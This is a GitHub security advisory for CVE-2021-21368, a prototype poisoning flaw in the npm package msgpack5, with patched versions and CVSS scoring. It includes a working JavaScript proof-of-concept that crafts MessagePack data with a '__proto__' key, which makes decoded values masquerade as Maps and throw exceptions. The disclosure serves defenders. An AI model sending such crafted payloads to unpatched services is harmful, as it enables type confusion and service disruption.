# Prototype poisoning

Moderate mcollina published GHSA-gmjw-49p4-pcfm on Mar 9, 2021

Package

msgpack5 (npm)

| Affected versions | Patched versions |
|---|---|
| all | >= 5.2.1 \|\| (>= 4.5.1 && < 5.0.0) \|\| (>= 3.6.1 && < 4.0.0) |

Description

## Impact

The issue is as follows: when `msgpack5` decodes a map containing a key `"__proto__"`, it assigns the decoded value to `__proto__`. As you are no doubt aware, `Object.prototype.__proto__` is an accessor property for the receiver's prototype. If the value corresponding to the key `__proto__` decodes to an object or `null`, `msgpack5` sets the decoded object's prototype to that value.

An attacker who can submit crafted MessagePack data to a service can use this to produce values that appear to be of other types; may have unexpected prototype properties and methods (for example `length`, numeric properties, and `push` et al if `__proto__`'s value decodes to an `Array`); and/or may throw unexpected exceptions when used (for example if the `__proto__` value decodes to a `Map` or `Date`). Other unexpected behavior might be produced for other types.

There is no effect on the global prototype.

An example:

```
const msgpack5 = require('msgpack5')();

const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});

const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>

const decoded = msgpack5.decode(encoded);

// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]

// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map

// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false

// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}

// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
```

This "prototype poisoning" is sort of a very limited inversion of a prototype pollution attack. Only the decoded value's prototype is affected, and it can only be set to `msgpack5` values (though if the victim makes use of custom codecs, anything could be a `msgpack5` value). We have not found a way to escalate this to true prototype pollution (absent other bugs in the consumer's code).

## Patches

Versions v5.2.1, v4.5.1, v3.6.1 include the fix.

### Workarounds

Always validate incoming data after parsing before doing any processing.

### For more information

If you have any questions or comments about this advisory:

- Open an issue in example link to repo
- Email us at example email address

Severity

Moderate 6.7 / 10

| CVSS base metrics | |
|---|---|
| Attack vector | Network |
| Attack complexity | High |
| Privileges required | Low |
| User interaction | Required |
| Scope | Unchanged |
| Confidentiality | Low |
| Integrity | High |
| Availability | High |

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:H

CVE ID

CVE-2021-21368

Weaknesses

No CWEs

Credits

ninevra